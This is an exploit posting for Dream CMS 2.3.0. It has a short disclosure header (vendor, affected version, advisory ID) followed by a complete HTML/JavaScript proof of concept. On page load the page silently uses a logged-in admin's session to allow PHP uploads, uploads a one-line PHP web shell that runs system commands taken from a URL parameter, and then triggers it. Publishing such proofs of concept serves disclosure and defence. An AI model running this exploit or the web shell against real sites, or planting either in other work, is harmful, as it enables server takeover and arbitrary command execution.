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Dream CMS 2.3.0 Cross Site Request Forgery

Posted on 13 October 2015

<!--

Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution

Vendor: Dream CMS
Product web page: http://www.dream-cms.kg
Affected version: 2.3.0

Summary: DreamCMS is open and completely free PHP web application
for constructing websites of any complexity.

Desc: Dream CMS allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be
exploited to perform certain actions with administrative privileges if a
logged-in user visits a malicious web site. Related to the CSRF issue, an
authenticated arbitrary PHP code execution exist. The vulnerability is caused
due to the improper verification of uploaded files in '/files-manager-administration/add-file'
script via the 'file' POST parameter which allows of arbitrary files being
uploaded in '/resource/filemanager/1/home/' where the admin first needs to add
the file extension in the allowed list (csrf'd). This can be exploited to execute
arbitrary PHP code by uploading a malicious PHP script file and execute system
commands.

Tested on: nginx/1.6.2
 PHP/5.5.28

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 @zeroscience

Advisory ID: ZSL-2015-5268
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5268.php

01.10.2015

-->

<html>
<head>
<title>Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution</title>
</head>

<body onload="exploitrun();">

<!-- 1. Add PHP allowed extension -->
<form name="addext" action="http://TARGET/pages/en/files-manager-administration/settings" method="POST" target="frame0">
<input type="hidden" name="form_name" value="settings" />
<input type="hidden" name="file_manager_allowed_extensions" value="bmp,gif,jpg,png,mp3,wav,wma,3g2,3gp,avi,flv,mov,mp4,mpg,swf,vob,wmv,zip,rar,txt,doc,docx,pdf,php" />
<input type="hidden" name="file_manager_allowed_size" value="2097152" />
<input type="hidden" name="file_manager_file_name_length" value="20" />
<input type="hidden" name="file_manager_image_extensions" value="bmp,gif,jpg,png" />
<input type="hidden" name="file_manager_media_extensions" value="mp3,wav,wma,3g2,3gp,avi,flv,mov,mp4,mpg,swf,vob,wmv" />
<input type="hidden" name="file_manager_window_width" value="60" />
<input type="hidden" name="file_manager_window_height" value="500" />
<input type="hidden" name="file_manager_window_image_height" value="300" />
<input type="hidden" name="submit" value="Save" />
</form>

<!-- 2. Upload PHP file -->
<script>
function upload()
{
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http://TARGET/pages/en/files-manager-administration/add-file?path=home", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
 xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryuCEcIcPhpF3WD8Sv");
 xhr.withCredentials = true;
 var body = "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv
" +
 "Content-Disposition: form-data; name="form_name"
" +
 "
" +
 "file
" +
 "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv
" +
 "Content-Disposition: form-data; name="file"; filename="billy.php"
" +
 "Content-Type: application/octet-stream
" +
 "
" +
 "x3c?php
" +
 "system($_GET["cmd"]);
" +
 "?x3e
" +
 "
" +
 "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv
" +
 "Content-Disposition: form-data; name="submit"
" +
 "
" +
 "Submit
" +
 "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv--
";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i);
 xhr.send(new Blob([aBody]));
}
</script>

<form name="uploadme" action="javascript:upload();" target="frame1">
</form>

<!-- 3. Code execution -->
<form name="exploit" action="http://TARGET/resource/filemanager/1/home/billy.php" method="GET" target="frame2">
<input type="hidden" name="cmd" value="whoami" />
</form>

<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>
<iframe name="frame2"></iframe>

<script>
function exploitrun()
{
 document.addext.submit();
 document.getElementsByTagName("iframe")[0].onload = function()
 {
 document.uploadme.submit();
 document.getElementsByTagName("iframe")[1].onload = function()
 {
 document.exploit.submit();
 }
 }
}
</script>

</body>
</html>

 

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